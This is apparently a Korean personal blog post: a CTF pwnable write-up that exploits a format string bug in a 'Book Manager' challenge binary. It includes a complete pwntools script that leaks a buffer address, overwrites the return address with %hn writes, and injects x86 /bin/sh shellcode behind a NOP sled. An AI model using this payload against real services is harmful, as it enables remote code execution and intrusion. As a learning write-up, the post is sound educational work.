블로그 이미지
Nehoy
경기대학교 / kknock

calendar

1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31

Notice

Tag

2017. 3. 11. 14:03 Hack/포너블

level1.zip

이 문제를 구하게된 경로를 까먹어서 어떤 대회인지 모르겠다..


일단 checksec.sh 프로그램을 이용하여 NX가 안걸려있는걸 알 수 있다.


이 프로그램은 Book Manager라는 메뉴를 실행하는데, 간단하게 설명하면 1. Insert는 책 입력, 2. List는 책 목록 열거, 3. Search는 책 검색, 4. Delete는 책 삭제의 기능을 갖는다.

(참고로 이 책 목록은 linked list를 이용하여 구현되어있다.)


하나 이상의 책이 입력되어있으면 3. Search를 이용하여 검색을 할 수 있는데, 위와 같이 FSB가 일어나는 코드가 있다.

버퍼의 크기와 입력 길이가 0x400이나 되서 부담없이 쉘코드까지 넣을 수 있는 상황이다.


문제는 조작할만한 전역변수가 없는 상황에서 ASLR이 걸려 있다는 것이다. %n을 이용하여 ret을 버퍼의 중간 부분으로 조작하기 위해서, 변동되는 버퍼의 주소에 따라 자동으로 FSB Payload를 만드는 코드가 있어야 한다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
import math
import time
 
proc = remote('localhost'9002)
 
def recv() :
    return proc.recvrepeat(0.3)
 
def fsb_func_num(num) :
    length = len("%{0}x".format(num)) - 4
    
    temp = int(math.log10(num))
 
    num -= (length // 2* 8
    if (length % 2== 1 :
        num -= 8
 
    res = "%"
    if temp > int(math.log10(num)) :
        res = "%0"
    res = (res + "{0}x").format(num) + fsb_func_len(length)
    return res
def fsb_func_len(length) :
    res = "%x" * (length // 2)
    if (length % 2== 1 :
        res += "%8x"
    return res
 
recv()
proc.sendline("1")    # insert
recv()
proc.sendline("name"# book_name
recv()
proc.sendline("1")    # book_id
 
recv()
proc.sendline("3")    # search
recv()
proc.sendline("%p")   # FSB - buffer addr
temp = proc.recvline()
 
# FSB Payload Start
buf_addr = temp[temp.find('0x') : -1]
buf_addr = int(buf_addr, 16)
 
shcode_addr = buf_addr + 0x160    # padding
ret_addr = buf_addr + 0x40c + 4   # buf_size + SFP
 
temp1 = (shcode_addr & 0x0000ffff- 200 - 4
temp2 = ((shcode_addr & 0xffff0000>> 16- temp1 - 200 - 4 - 16 - 4
 
payload = "%8x"*10 + "%x"*15 + fsb_func_num(temp1) + p32(ret_addr) + "%hn" + "%8x%x" + fsb_func_num(temp2) + p32(ret_addr + 2+ "%hn"
payload += (0x160 - len(payload)) * "\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
 
recv()
proc.sendline("3")     # search
recv()
proc.sendline(payload) # FSB
recv()
 
time.sleep(1)
 
proc.sendline("ls -l level1")
print(recv())
cs

fsb_func_num은 출력해야 되는 문자 수에 따라 fsb payload를 만들어준다.

Ex. fsb_func_num(100) => %092x%8x


fsb_func_len은 먹어(?)야 하는 문자들의 수에 따라 fsb payload를 만들어준다.

Ex. fsb_func_len(len("123")) => %x%8x


buffer+0x160에 쉘코드를 넣었다.


사실 별 어려운 문제는 아니였는데 실수도 여러번 하고 해서 오래걸렸다...

'Hack > 포너블' 카테고리의 다른 글

[backdoorctf17] baby-0x41414141  (0) 2017.10.13
[CSAW 2017] scv  (0) 2017.09.20
[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
[Codegate 2016] serial  (0) 2017.02.20
posted by Nehoy